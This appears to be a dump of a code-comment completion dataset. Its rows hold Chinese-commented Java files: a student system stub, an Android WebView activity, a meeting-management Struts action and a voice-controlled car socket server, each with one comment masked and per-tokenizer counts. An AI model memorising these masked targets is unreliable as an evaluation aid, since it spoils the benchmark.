file_id
stringlengths
5
8
content
stringlengths
131
14.4k
repo
stringlengths
9
59
path
stringlengths
8
120
token_length
int64
36
3.49k
original_comment
stringlengths
5
791
comment_type
stringclasses
2 values
detected_lang
stringclasses
1 value
masked_comment
stringlengths
135
14.3k
excluded
float64
0
0
file-tokens-Qwen/Qwen2-7B
int64
30
3.27k
comment-tokens-Qwen/Qwen2-7B
int64
2
459
file-tokens-bigcode/starcoder2-7b
int64
35
3.49k
comment-tokens-bigcode/starcoder2-7b
int64
3
483
file-tokens-google/codegemma-7b
int64
36
3.61k
comment-tokens-google/codegemma-7b
int64
3
465
file-tokens-ibm-granite/granite-8b-code-base
int64
35
3.49k
comment-tokens-ibm-granite/granite-8b-code-base
int64
3
483
file-tokens-meta-llama/CodeLlama-7b-hf
int64
44
4.13k
comment-tokens-meta-llama/CodeLlama-7b-hf
int64
4
592
excluded-based-on-tokenizer-Qwen/Qwen2-7B
bool
2 classes
excluded-based-on-tokenizer-bigcode/starcoder2-7b
bool
2 classes
excluded-based-on-tokenizer-google/codegemma-7b
bool
2 classes
excluded-based-on-tokenizer-ibm-granite/granite-8b-code-base
bool
2 classes
excluded-based-on-tokenizer-meta-llama/CodeLlama-7b-hf
bool
2 classes
include-for-inference
bool
2 classes
44207_2
import java.util.*; //二、实验内容 // 1、完成一个简易学生信息系统,学生分为本科生和研究生,本科生有学号、姓名、年龄、班级、专业、 // 地址、各科成绩等信息,研究生有学号、姓名、年龄、班级、地址、导师、研究方向、各科成绩等信息 // ,所有地址包含省份、城市、街道、门牌号等信息。系统至少需要实现以下功能:增加、修改、删除学生信息, // 浏览(各类)学生信息,可以根据班级、姓名或者学号查询学生信息,可以根据各科成绩、总成绩、 // 学号排序显示(各类)所有学生信息,能分别查看本科生、研究生人数,以及所有学生的总人数。 // 其它要求如下: // (1)要求应用面向对象程序设计的思想,根据给定的需求进行分析,设计、实现合理的类。 // (2)类间有继承、组合关系,并画出类图。 // (3)源代码为多文件程序。 // (4)统计学生人数的变量是类中的静态数据成员。 // (5)增加和删除学生要分别考虑是否满和是否为空的边界条件。 // (6)代码规范、美观,易读、易扩展。 public class StudentDataOperation{ public static void main(String[] args) { System.out.println("欢迎使用学生信息管理系统"); } }
000dust000/StudentDataOperation
StudentDataOperation.java
388
// 地址、各科成绩等信息,研究生有学号、姓名、年龄、班级、地址、导师、研究方向、各科成绩等信息
line_comment
zh-cn
import java.util.*; //二、实验内容 // 1、完成一个简易学生信息系统,学生分为本科生和研究生,本科生有学号、姓名、年龄、班级、专业、 // 地址 <SUF> // ,所有地址包含省份、城市、街道、门牌号等信息。系统至少需要实现以下功能:增加、修改、删除学生信息, // 浏览(各类)学生信息,可以根据班级、姓名或者学号查询学生信息,可以根据各科成绩、总成绩、 // 学号排序显示(各类)所有学生信息,能分别查看本科生、研究生人数,以及所有学生的总人数。 // 其它要求如下: // (1)要求应用面向对象程序设计的思想,根据给定的需求进行分析,设计、实现合理的类。 // (2)类间有继承、组合关系,并画出类图。 // (3)源代码为多文件程序。 // (4)统计学生人数的变量是类中的静态数据成员。 // (5)增加和删除学生要分别考虑是否满和是否为空的边界条件。 // (6)代码规范、美观,易读、易扩展。 public class StudentDataOperation{ public static void main(String[] args) { System.out.println("欢迎使用学生信息管理系统"); } }
0
318
35
388
44
338
33
388
44
587
65
false
false
false
false
false
true
55868_25
//package com.example.wwwapplication; // //import androidx.appcompat.app.AppCompatActivity; // //import android.os.Bundle; //import android.util.Log; //import android.webkit.WebSettings; //import android.webkit.WebView; //import android.webkit.WebViewClient; // //import com.google.gson.Gson; // //import java.util.ArrayList; //import java.util.List; // //public class guangchangActivity extends AppCompatActivity { // private static final String TAG = "guangchangActivity"; // private WebView mWebView; // // @Override // protected void onCreate(Bundle savedInstanceState) { // super.onCreate(savedInstanceState); // setContentView(R.layout.activity_guangchang); // // mWebView = findViewById(R.id.main_web_view); // //解决点击链接跳转浏览器问题 // mWebView.setWebViewClient(new WebViewClient()); // //js支持 // WebSettings settings = mWebView.getSettings(); // settings.setJavaScriptEnabled(true); // //允许访问assets目录 // settings.setAllowFileAccess(true); // //设置WebView排版算法, 实现单列显示, 不允许横向移动 // settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.SINGLE_COLUMN); // //assets文件路径 // String path = "file:///android_asset/index.html"; // //添加Json数据 // addJson(); // //加载Html页面 // mWebView.loadUrl(path); // } // // private void addJson() { // JsSupport jsSupport = new JsSupport(this); // List<FriendsZone> zones = new ArrayList<>(); // // // zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("xxx", "images/icon.png", "#情话# #壁纸# 经典爱情伤感文字唯美带字风景图片。我不愿让你一个人,一个人在人海浮沉。与我相拥,附着一句抱歉,近来的打扰。宁愿笑着流泪,也不要哭着说后悔。一段感情不管当初有多开心,分手时就有多难过,一组爱情伤感文字分享。", "drawable/t1.jpg")); // zones.add(new FriendsZone("Tom", "images/icon.png", "【雪莉给烤鳗鱼配音再被批 回应:你们更可恶】20日, #崔雪莉#分享一段烤鳗鱼视频→-微博视频 视频中,烤盘中的鳗鱼头还在动,雪莉在一旁配音\"啊~救救我~\"不料却遭网友批评,称鳗鱼还活着,雪莉笑着配音的做法过于残忍。随后,雪莉发文回应:“你们别吃鳗鱼。”并评论道“你们更可恶! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("Lily", "images/icon.png", "深海之蓝!!!! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("Cindy", "images/icon.png", "当我觉得我倒霉了,我就会想:这是在挥洒我的霉运,挥洒之后,剩下的就全都是幸运了! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg")); // // Gson gson = new Gson(); // String json = gson.toJson(zones); // Log.d(TAG, "addJson: json => " + json); // jsSupport.setJson(json); // //添加js交互接口, 并指明js中对象的调用名称 // mWebView.addJavascriptInterface(jsSupport, "weichat"); // } // // @Override // public void onBackPressed() { // if (mWebView.canGoBack()) { // mWebView.goBack(); // } else { // super.onBackPressed(); // } // } //} //
01Petard/News
app/src/main/java/com/example/wwwapplication/guangchangActivity.java
1,359
// //设置WebView排版算法, 实现单列显示, 不允许横向移动
line_comment
zh-cn
//package com.example.wwwapplication; // //import androidx.appcompat.app.AppCompatActivity; // //import android.os.Bundle; //import android.util.Log; //import android.webkit.WebSettings; //import android.webkit.WebView; //import android.webkit.WebViewClient; // //import com.google.gson.Gson; // //import java.util.ArrayList; //import java.util.List; // //public class guangchangActivity extends AppCompatActivity { // private static final String TAG = "guangchangActivity"; // private WebView mWebView; // // @Override // protected void onCreate(Bundle savedInstanceState) { // super.onCreate(savedInstanceState); // setContentView(R.layout.activity_guangchang); // // mWebView = findViewById(R.id.main_web_view); // //解决点击链接跳转浏览器问题 // mWebView.setWebViewClient(new WebViewClient()); // //js支持 // WebSettings settings = mWebView.getSettings(); // settings.setJavaScriptEnabled(true); // //允许访问assets目录 // settings.setAllowFileAccess(true); // //设置 <SUF> // settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.SINGLE_COLUMN); // //assets文件路径 // String path = "file:///android_asset/index.html"; // //添加Json数据 // addJson(); // //加载Html页面 // mWebView.loadUrl(path); // } // // private void addJson() { // JsSupport jsSupport = new JsSupport(this); // List<FriendsZone> zones = new ArrayList<>(); // // // zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("xxx", "images/icon.png", "#情话# #壁纸# 经典爱情伤感文字唯美带字风景图片。我不愿让你一个人,一个人在人海浮沉。与我相拥,附着一句抱歉,近来的打扰。宁愿笑着流泪,也不要哭着说后悔。一段感情不管当初有多开心,分手时就有多难过,一组爱情伤感文字分享。", "drawable/t1.jpg")); // zones.add(new FriendsZone("Tom", "images/icon.png", "【雪莉给烤鳗鱼配音再被批 回应:你们更可恶】20日, #崔雪莉#分享一段烤鳗鱼视频→-微博视频 视频中,烤盘中的鳗鱼头还在动,雪莉在一旁配音\"啊~救救我~\"不料却遭网友批评,称鳗鱼还活着,雪莉笑着配音的做法过于残忍。随后,雪莉发文回应:“你们别吃鳗鱼。”并评论道“你们更可恶! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("Lily", "images/icon.png", "深海之蓝!!!! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("Cindy", "images/icon.png", "当我觉得我倒霉了,我就会想:这是在挥洒我的霉运,挥洒之后,剩下的就全都是幸运了! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg")); // zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg")); // // Gson gson = new Gson(); // String json = gson.toJson(zones); // Log.d(TAG, "addJson: json => " + json); // jsSupport.setJson(json); // //添加js交互接口, 并指明js中对象的调用名称 // mWebView.addJavascriptInterface(jsSupport, "weichat"); // } // // @Override // public void onBackPressed() { // if (mWebView.canGoBack()) { // mWebView.goBack(); // } else { // super.onBackPressed(); // } // } //} //
0
984
19
1,359
21
1,145
19
1,359
21
1,725
35
false
false
false
false
false
true
46292_13
package com.huiguanjia.action; import java.util.*; import org.apache.struts2.json.JSONException; import org.apache.struts2.json.JSONUtil; import com.opensymphony.xwork2.ActionContext; import com.opensymphony.xwork2.ActionSupport; import com.alibaba.fastjson.JSON; import com.huiguanjia.pojo.Department; import com.huiguanjia.pojo.Meeting; import com.huiguanjia.pojo.OrdinaryUser; import com.huiguanjia.service.CompanyManagerService; import com.huiguanjia.service.DepartmentService; import com.huiguanjia.service.MeetingService; //if import com.huigunajia.service.MeetingBulletinService? //import com.huiguanjia.util.QiniuyunQRcodeUtil; import com.huiguanjia.util.QiniuyunUtil; import com.huiguanjia.util.RandomUtil; public class MeetingAction extends MyActionSupport{ private static final long serialVersionUID = 2782570898187961833L; private String meetingId; //会议 private String meetingName; //会议名 private String meetingContent; //会议内容 private String meetingLocation; //会议地点 private String meetingCreatorId; //创建者id(cellphone),null=true? private String meetingRemark; //会议备注null=true // private String meetingQrcode; //会议二维码 private Integer meetingState; //会议状态:0活动 1完成 2删除 private Integer meetingFrequency; //频率:1单次2每天3每周4每月 private String meetingStartTime; //会议开始时间 private String meetingPredictFinishTime; //预期结束时间 private String meetingCreateTime; //该记录的创建时间 private String meetingFinishTime; //会议实际完成时间 private String meetingDeleteTime; //会议删除时间 private String cellphone; //普通用户主键 private String username; //公司管理员主键 private String path; //存放二维码路径 //0:获取全部会议;1:获取用户创建/组织的会议;2:获取用户参与的会议 private int listType; private Map<String,Object> jsonData; public String execute() throws Exception{ return "json"; } public String create() throws Exception { jsonData = new HashMap<String,Object>(); // 生成meetingId String meetingId = RandomUtil.UUID(); OrdinaryUser user = new OrdinaryUser(); user.setCellphone(meetingCreatorId); // 二维码的url String meetingQrcode = "https://www.huiguanjia.com/api/v1/u/meeting"+meetingId; Meeting meeting = new Meeting(meetingId,user, meetingName, meetingContent, meetingLocation, meetingRemark, meetingQrcode, 0, meetingFrequency, meetingStartTime, meetingPredictFinishTime, meetingCreateTime, null, null); MeetingService ms= new MeetingService(); // QiniuyunQRcodeUtil qiniuyunQRcodeUtil = new QiniuyunQRcodeUtil(); if(false ==ms.create(meeting)){ jsonData.put("code", -1); } else{ // 创建会议成功,生成二维码图片到本地指定路径里面,上传二维码到七牛云 jsonData.put("code", 0); // try{ //// String path = "test.gif"; // String path = RandomUtil.UUID()+".gif"; // ms.putMeetingQrcode(meetingQrcode,path); // QiniuyunUtil qiniuyunUtil = new QiniuyunUtil(); // qiniuyunUtil.upTokenFile(path); // // 生成指向二维码图片的url,返回这个url // jsonData.put("url",qiniuyunUtil.downloadFile(path)); // } // catch(Exception e){ // // } } return SUCCESS; } public String delete(){ jsonData = new HashMap<String,Object>(); MeetingService ms= new MeetingService(); jsonData.put("code", ms.delete(meetingId,cellphone)); return SUCCESS; } public String finish(){ jsonData = new HashMap<String,Object>(); MeetingService ms= new MeetingService(); jsonData.put("code", ms.finish(meetingId,cellphone)); return SUCCESS; } public String update(){ jsonData = new HashMap<String,Object>(); Meeting meeting = new Meeting(); meeting.setMeetingId(meetingId); meeting.setMeetingName(meetingName); meeting.setMeetingContent(meetingContent); meeting.setMeetingLocation(meetingLocation); meeting.setMeetingRemark(meetingRemark); meeting.setMeetingStartTime(meetingStartTime); meeting.setMeetingPredictFinishTime(meetingPredictFinishTime); meeting.setMeetingFrequency(meetingFrequency); MeetingService ms = new MeetingService(); if(false == ms.update(meeting)){ jsonData.put("code", -1); } else{ jsonData.put("code", 0); } return SUCCESS; } /** * @info 根据会议ID搜索会议 * @return * @throws JSONException */ public String findByMeetingId(){ jsonData = new HashMap<String,Object>(); MeetingService ms = new MeetingService(); String meeting = ms.findByMeetingId(meetingId); jsonData.put("meeting", meeting); // System.out.println(meeting); return SUCCESS; } /** * @info 普通用户 获取会议列表 * @return */ public String findMeetingList(){ jsonData = new HashMap<String,Object>(); MeetingService ms = new MeetingService(); String meetinglist = ms.findMeetingList(cellphone, meetingState, listType); if(null == meetinglist){ jsonData.put("code", -1); // jsonData.put("meetinglist", ""); } else{ jsonData.put("code", 0); jsonData.put("meetinglist", meetinglist); } return SUCCESS; } /** * @info 普通用户根据会议名称搜索会议 * @return */ public String findByMeetingName1(){ jsonData = new HashMap<String,Object>(); MeetingService ms = new MeetingService(); String list = ms.findByMeetingName1(meetingName,cellphone); if(null == list){ jsonData.put("code", -1); jsonData.put("meetings", ""); } else{ jsonData.put("code", 0); jsonData.put("meetings", list); System.out.println(JSON.toJSONString(jsonData)); } return SUCCESS; } /** * @info 公司管理员会议名称搜索会议 * @return */ public String findByMeetingName2(){ jsonData = new HashMap<String,Object>(); MeetingService ms = new MeetingService(); String list = ms.findByMeetingName2(meetingName,username); if(null == list){ jsonData.put("code", -1); jsonData.put("meetings", ""); } else{ jsonData.put("code", 0); jsonData.put("meetings", list); System.out.println(JSON.toJSONString(jsonData)); } return SUCCESS; } // // /** // * @info 根据公司管理员名字来搜索会议 // * @return // */ // public String findByCompanyManagerName(){ // jsonData = new HashMap<String,Object>(); // MeetingService ms = new MeetingService(); // String list = ms.findByUserId(meetingCreatorId); // if(null == list){ // jsonData.put("code", -1); // jsonData.put("meetings", ""); // } // else{ // jsonData.put("code", 0); // jsonData.put("meetings", list); // System.out.println(JSON.toJSONString(jsonData)); // } // // return SUCCESS; // } // //setter and getter public String getMeetingId() { return meetingId; } public void setMeetingId(String meetingId) { this.meetingId = meetingId; } public String getMeetingLocation() { return meetingLocation; } public void setMeetingLocation(String meetingLocation) { this.meetingLocation = meetingLocation; } public String getMeetingContent() { return meetingContent; } public void setMeetingContent(String meetingContent) { this.meetingContent = meetingContent; } public String getMeetingName() { return meetingName; } public void setMeetingName(String meetingName) { this.meetingName = meetingName; } public String getMeetingRemark() { return meetingRemark; } public void setMeetingRemark(String meetingRemark) { this.meetingRemark = meetingRemark; } public String getMeetingCreatorId() { return meetingCreatorId; } public void setMeetingCreatorId(String meetingCreatorId) { this.meetingCreatorId = meetingCreatorId; } // public String getMeetingQrcode() { // return meetingQrcode; // } // // public void setMeetingQrcode(String meetingQrcode) { // this.meetingQrcode = meetingQrcode; // } public String getMeetingStartTime() { return meetingStartTime; } public void setMeetingStartTime(String meetingStartTime) { this.meetingStartTime = meetingStartTime; } public String getMeetingCreateTime() { return meetingCreateTime; } public void setMeetingCreateTime(String meetingCreateTime) { this.meetingCreateTime = meetingCreateTime; } public String getMeetingPredictFinishTime() { return meetingPredictFinishTime; } public void setMeetingPredictFinishTime(String meetingPredictFinishTime) { this.meetingPredictFinishTime = meetingPredictFinishTime; } public String getMeetingFinishTime() { return meetingFinishTime; } public void setMeetingFinishTime(String meetingFinishTime) { this.meetingFinishTime = meetingFinishTime; } public String getMeetingDeleteTime() { return meetingDeleteTime; } public void setMeetingDeleteTime(String meetingDeleteTime) { this.meetingDeleteTime = meetingDeleteTime; } public int getMeetingState() { return meetingState; } public void setMeetingState(int meetingState) { this.meetingState = meetingState; } public int getMeetingFrequency() { return meetingFrequency; } public void setMeetingFrequency(int meetingFrequency) { this.meetingFrequency = meetingFrequency; } public String getCellphone() { return cellphone; } public void setCellphone(String cellphone) { this.cellphone = cellphone; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPath(){ return path; } public void setListType(int type){ this.listType = type; } public int getListType(){ return listType; } public void setPath(String path){ this.path = path; } public Map<String,Object> getJsonData(){ return jsonData; } }
0326/MeetingMng
src/com/huiguanjia/action/MeetingAction.java
2,972
//会议实际完成时间
line_comment
zh-cn
package com.huiguanjia.action; import java.util.*; import org.apache.struts2.json.JSONException; import org.apache.struts2.json.JSONUtil; import com.opensymphony.xwork2.ActionContext; import com.opensymphony.xwork2.ActionSupport; import com.alibaba.fastjson.JSON; import com.huiguanjia.pojo.Department; import com.huiguanjia.pojo.Meeting; import com.huiguanjia.pojo.OrdinaryUser; import com.huiguanjia.service.CompanyManagerService; import com.huiguanjia.service.DepartmentService; import com.huiguanjia.service.MeetingService; //if import com.huigunajia.service.MeetingBulletinService? //import com.huiguanjia.util.QiniuyunQRcodeUtil; import com.huiguanjia.util.QiniuyunUtil; import com.huiguanjia.util.RandomUtil; public class MeetingAction extends MyActionSupport{ private static final long serialVersionUID = 2782570898187961833L; private String meetingId; //会议 private String meetingName; //会议名 private String meetingContent; //会议内容 private String meetingLocation; //会议地点 private String meetingCreatorId; //创建者id(cellphone),null=true? private String meetingRemark; //会议备注null=true // private String meetingQrcode; //会议二维码 private Integer meetingState; //会议状态:0活动 1完成 2删除 private Integer meetingFrequency; //频率:1单次2每天3每周4每月 private String meetingStartTime; //会议开始时间 private String meetingPredictFinishTime; //预期结束时间 private String meetingCreateTime; //该记录的创建时间 private String meetingFinishTime; //会议 <SUF> private String meetingDeleteTime; //会议删除时间 private String cellphone; //普通用户主键 private String username; //公司管理员主键 private String path; //存放二维码路径 //0:获取全部会议;1:获取用户创建/组织的会议;2:获取用户参与的会议 private int listType; private Map<String,Object> jsonData; public String execute() throws Exception{ return "json"; } public String create() throws Exception { jsonData = new HashMap<String,Object>(); // 生成meetingId String meetingId = RandomUtil.UUID(); OrdinaryUser user = new OrdinaryUser(); user.setCellphone(meetingCreatorId); // 二维码的url String meetingQrcode = "https://www.huiguanjia.com/api/v1/u/meeting"+meetingId; Meeting meeting = new Meeting(meetingId,user, meetingName, meetingContent, meetingLocation, meetingRemark, meetingQrcode, 0, meetingFrequency, meetingStartTime, meetingPredictFinishTime, meetingCreateTime, null, null); MeetingService ms= new MeetingService(); // QiniuyunQRcodeUtil qiniuyunQRcodeUtil = new QiniuyunQRcodeUtil(); if(false ==ms.create(meeting)){ jsonData.put("code", -1); } else{ // 创建会议成功,生成二维码图片到本地指定路径里面,上传二维码到七牛云 jsonData.put("code", 0); // try{ //// String path = "test.gif"; // String path = RandomUtil.UUID()+".gif"; // ms.putMeetingQrcode(meetingQrcode,path); // QiniuyunUtil qiniuyunUtil = new QiniuyunUtil(); // qiniuyunUtil.upTokenFile(path); // // 生成指向二维码图片的url,返回这个url // jsonData.put("url",qiniuyunUtil.downloadFile(path)); // } // catch(Exception e){ // // } } return SUCCESS; } public String delete(){ jsonData = new HashMap<String,Object>(); MeetingService ms= new MeetingService(); jsonData.put("code", ms.delete(meetingId,cellphone)); return SUCCESS; } public String finish(){ jsonData = new HashMap<String,Object>(); MeetingService ms= new MeetingService(); jsonData.put("code", ms.finish(meetingId,cellphone)); return SUCCESS; } public String update(){ jsonData = new HashMap<String,Object>(); Meeting meeting = new Meeting(); meeting.setMeetingId(meetingId); meeting.setMeetingName(meetingName); meeting.setMeetingContent(meetingContent); meeting.setMeetingLocation(meetingLocation); meeting.setMeetingRemark(meetingRemark); meeting.setMeetingStartTime(meetingStartTime); meeting.setMeetingPredictFinishTime(meetingPredictFinishTime); meeting.setMeetingFrequency(meetingFrequency); MeetingService ms = new MeetingService(); if(false == ms.update(meeting)){ jsonData.put("code", -1); } else{ jsonData.put("code", 0); } return SUCCESS; } /** * @info 根据会议ID搜索会议 * @return * @throws JSONException */ public String findByMeetingId(){ jsonData = new HashMap<String,Object>(); MeetingService ms = new MeetingService(); String meeting = ms.findByMeetingId(meetingId); jsonData.put("meeting", meeting); // System.out.println(meeting); return SUCCESS; } /** * @info 普通用户 获取会议列表 * @return */ public String findMeetingList(){ jsonData = new HashMap<String,Object>(); MeetingService ms = new MeetingService(); String meetinglist = ms.findMeetingList(cellphone, meetingState, listType); if(null == meetinglist){ jsonData.put("code", -1); // jsonData.put("meetinglist", ""); } else{ jsonData.put("code", 0); jsonData.put("meetinglist", meetinglist); } return SUCCESS; } /** * @info 普通用户根据会议名称搜索会议 * @return */ public String findByMeetingName1(){ jsonData = new HashMap<String,Object>(); MeetingService ms = new MeetingService(); String list = ms.findByMeetingName1(meetingName,cellphone); if(null == list){ jsonData.put("code", -1); jsonData.put("meetings", ""); } else{ jsonData.put("code", 0); jsonData.put("meetings", list); System.out.println(JSON.toJSONString(jsonData)); } return SUCCESS; } /** * @info 公司管理员会议名称搜索会议 * @return */ public String findByMeetingName2(){ jsonData = new HashMap<String,Object>(); MeetingService ms = new MeetingService(); String list = ms.findByMeetingName2(meetingName,username); if(null == list){ jsonData.put("code", -1); jsonData.put("meetings", ""); } else{ jsonData.put("code", 0); jsonData.put("meetings", list); System.out.println(JSON.toJSONString(jsonData)); } return SUCCESS; } // // /** // * @info 根据公司管理员名字来搜索会议 // * @return // */ // public String findByCompanyManagerName(){ // jsonData = new HashMap<String,Object>(); // MeetingService ms = new MeetingService(); // String list = ms.findByUserId(meetingCreatorId); // if(null == list){ // jsonData.put("code", -1); // jsonData.put("meetings", ""); // } // else{ // jsonData.put("code", 0); // jsonData.put("meetings", list); // System.out.println(JSON.toJSONString(jsonData)); // } // // return SUCCESS; // } // //setter and getter public String getMeetingId() { return meetingId; } public void setMeetingId(String meetingId) { this.meetingId = meetingId; } public String getMeetingLocation() { return meetingLocation; } public void setMeetingLocation(String meetingLocation) { this.meetingLocation = meetingLocation; } public String getMeetingContent() { return meetingContent; } public void setMeetingContent(String meetingContent) { this.meetingContent = meetingContent; } public String getMeetingName() { return meetingName; } public void setMeetingName(String meetingName) { this.meetingName = meetingName; } public String getMeetingRemark() { return meetingRemark; } public void setMeetingRemark(String meetingRemark) { this.meetingRemark = meetingRemark; } public String getMeetingCreatorId() { return meetingCreatorId; } public void setMeetingCreatorId(String meetingCreatorId) { this.meetingCreatorId = meetingCreatorId; } // public String getMeetingQrcode() { // return meetingQrcode; // } // // public void setMeetingQrcode(String meetingQrcode) { // this.meetingQrcode = meetingQrcode; // } public String getMeetingStartTime() { return meetingStartTime; } public void setMeetingStartTime(String meetingStartTime) { this.meetingStartTime = meetingStartTime; } public String getMeetingCreateTime() { return meetingCreateTime; } public void setMeetingCreateTime(String meetingCreateTime) { this.meetingCreateTime = meetingCreateTime; } public String getMeetingPredictFinishTime() { return meetingPredictFinishTime; } public void setMeetingPredictFinishTime(String meetingPredictFinishTime) { this.meetingPredictFinishTime = meetingPredictFinishTime; } public String getMeetingFinishTime() { return meetingFinishTime; } public void setMeetingFinishTime(String meetingFinishTime) { this.meetingFinishTime = meetingFinishTime; } public String getMeetingDeleteTime() { return meetingDeleteTime; } public void setMeetingDeleteTime(String meetingDeleteTime) { this.meetingDeleteTime = meetingDeleteTime; } public int getMeetingState() { return meetingState; } public void setMeetingState(int meetingState) { this.meetingState = meetingState; } public int getMeetingFrequency() { return meetingFrequency; } public void setMeetingFrequency(int meetingFrequency) { this.meetingFrequency = meetingFrequency; } public String getCellphone() { return cellphone; } public void setCellphone(String cellphone) { this.cellphone = cellphone; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPath(){ return path; } public void setListType(int type){ this.listType = type; } public int getListType(){ return listType; } public void setPath(String path){ this.path = path; } public Map<String,Object> getJsonData(){ return jsonData; } }
0
2,463
5
2,972
6
2,929
5
2,972
6
3,748
13
false
false
false
false
false
true
37053_3
import java.io.*; import java.net.*; import java.util.*; import java.util.Map.Entry; public class server{ public static void main(String args[])throws Exception{ try{ //链式散列集用来存储与小车连接的线程0 Map<String,serverthread> threadList = new HashMap<String,serverthread>(); ServerSocket server = new ServerSocket(8888); while(true){ Socket socket = server.accept(); System.out.println("connection ok!"); new serverthread(socket,threadList).start(); } } catch(Exception e){ //server.close(); } } } class serverthread extends Thread{ Socket socket; BufferedReader in = null; PrintWriter out; BufferedReader sin; Map<String,serverthread> threadList; static int i = 0; String car = null; String ist = null; public serverthread(Socket socket,Map<String,serverthread> threadList){ this.socket = socket; //this.set = set; this.threadList = threadList; i++; car = "car"+i; threadList.put(car,this); System.out.println("add suceess!"); } public void run(){ try{ out = new PrintWriter(socket.getOutputStream(),true);//发送数据 in = new BufferedReader(new InputStreamReader(socket.getInputStream()));//获取client端流 //System.out.println("in ok!"+in.readLine()); if(in != null){ String s = in.readLine(); System.out.println("st:"+s); if(s.startsWith("phone")){ threadList.remove(car); } Iterator<Entry<String,serverthread>> it = threadList.entrySet().iterator(); while (it.hasNext()&&s!=null) { Map.Entry entry = (Map.Entry) it.next(); //返回对应到该条目的值 serverthread st = (serverthread) entry.getValue(); if(st!=this){ st.out.println(instruct(s)); System.out.println("send:"+instruct(s)); out.println(instruct(s)); } } } //sin = new BufferedReader(new InputStreamReader(System.in)); //返回一个包含中条目的规则集(迭代器) System.out.println("end"); in.close(); out.close(); socket.close(); }catch(Exception e){} } public String instruct(String st){ for(int j = 0;j<st.length();j++){ //System.out.println(st.substring(i,i+1)); String st1 = st.substring(j,j+1); System.out.println("st1:"+st1); if(st1.equals("前")||st1.equals("钱")||st1.equals("近")||st1.equals("进")){ System.out.println("result:a"); return "A"; }else if(st1.equals("后")||st1.equals("退")){ System.out.println("result:b"); return "B"; }else if(st1.equals("右")||st1.equals("有")){ System.out.println("result:d"); return "D"; }else if(st1.equals("左")||st1.equals("夺")||st1.equals("冠")){ System.out.println("result:c"); return "C"; }else if(st1.equals("停")||st1.equals("傻")||st1.equals("逼")){ System.out.println("result:i"); return "I"; } } return "null"; } }
068089dy/voice-wifi-car
server.java
867
//发送数据
line_comment
zh-cn
import java.io.*; import java.net.*; import java.util.*; import java.util.Map.Entry; public class server{ public static void main(String args[])throws Exception{ try{ //链式散列集用来存储与小车连接的线程0 Map<String,serverthread> threadList = new HashMap<String,serverthread>(); ServerSocket server = new ServerSocket(8888); while(true){ Socket socket = server.accept(); System.out.println("connection ok!"); new serverthread(socket,threadList).start(); } } catch(Exception e){ //server.close(); } } } class serverthread extends Thread{ Socket socket; BufferedReader in = null; PrintWriter out; BufferedReader sin; Map<String,serverthread> threadList; static int i = 0; String car = null; String ist = null; public serverthread(Socket socket,Map<String,serverthread> threadList){ this.socket = socket; //this.set = set; this.threadList = threadList; i++; car = "car"+i; threadList.put(car,this); System.out.println("add suceess!"); } public void run(){ try{ out = new PrintWriter(socket.getOutputStream(),true);//发送 <SUF> in = new BufferedReader(new InputStreamReader(socket.getInputStream()));//获取client端流 //System.out.println("in ok!"+in.readLine()); if(in != null){ String s = in.readLine(); System.out.println("st:"+s); if(s.startsWith("phone")){ threadList.remove(car); } Iterator<Entry<String,serverthread>> it = threadList.entrySet().iterator(); while (it.hasNext()&&s!=null) { Map.Entry entry = (Map.Entry) it.next(); //返回对应到该条目的值 serverthread st = (serverthread) entry.getValue(); if(st!=this){ st.out.println(instruct(s)); System.out.println("send:"+instruct(s)); out.println(instruct(s)); } } } //sin = new BufferedReader(new InputStreamReader(System.in)); //返回一个包含中条目的规则集(迭代器) System.out.println("end"); in.close(); out.close(); socket.close(); }catch(Exception e){} } public String instruct(String st){ for(int j = 0;j<st.length();j++){ //System.out.println(st.substring(i,i+1)); String st1 = st.substring(j,j+1); System.out.println("st1:"+st1); if(st1.equals("前")||st1.equals("钱")||st1.equals("近")||st1.equals("进")){ System.out.println("result:a"); return "A"; }else if(st1.equals("后")||st1.equals("退")){ System.out.println("result:b"); return "B"; }else if(st1.equals("右")||st1.equals("有")){ System.out.println("result:d"); return "D"; }else if(st1.equals("左")||st1.equals("夺")||st1.equals("冠")){ System.out.println("result:c"); return "C"; }else if(st1.equals("停")||st1.equals("傻")||st1.equals("逼")){ System.out.println("result:i"); return "I"; } } return "null"; } }
0
737
3
867
3
949
3
867
3
1,033
5
false
false
false
false
false
true
26292_20
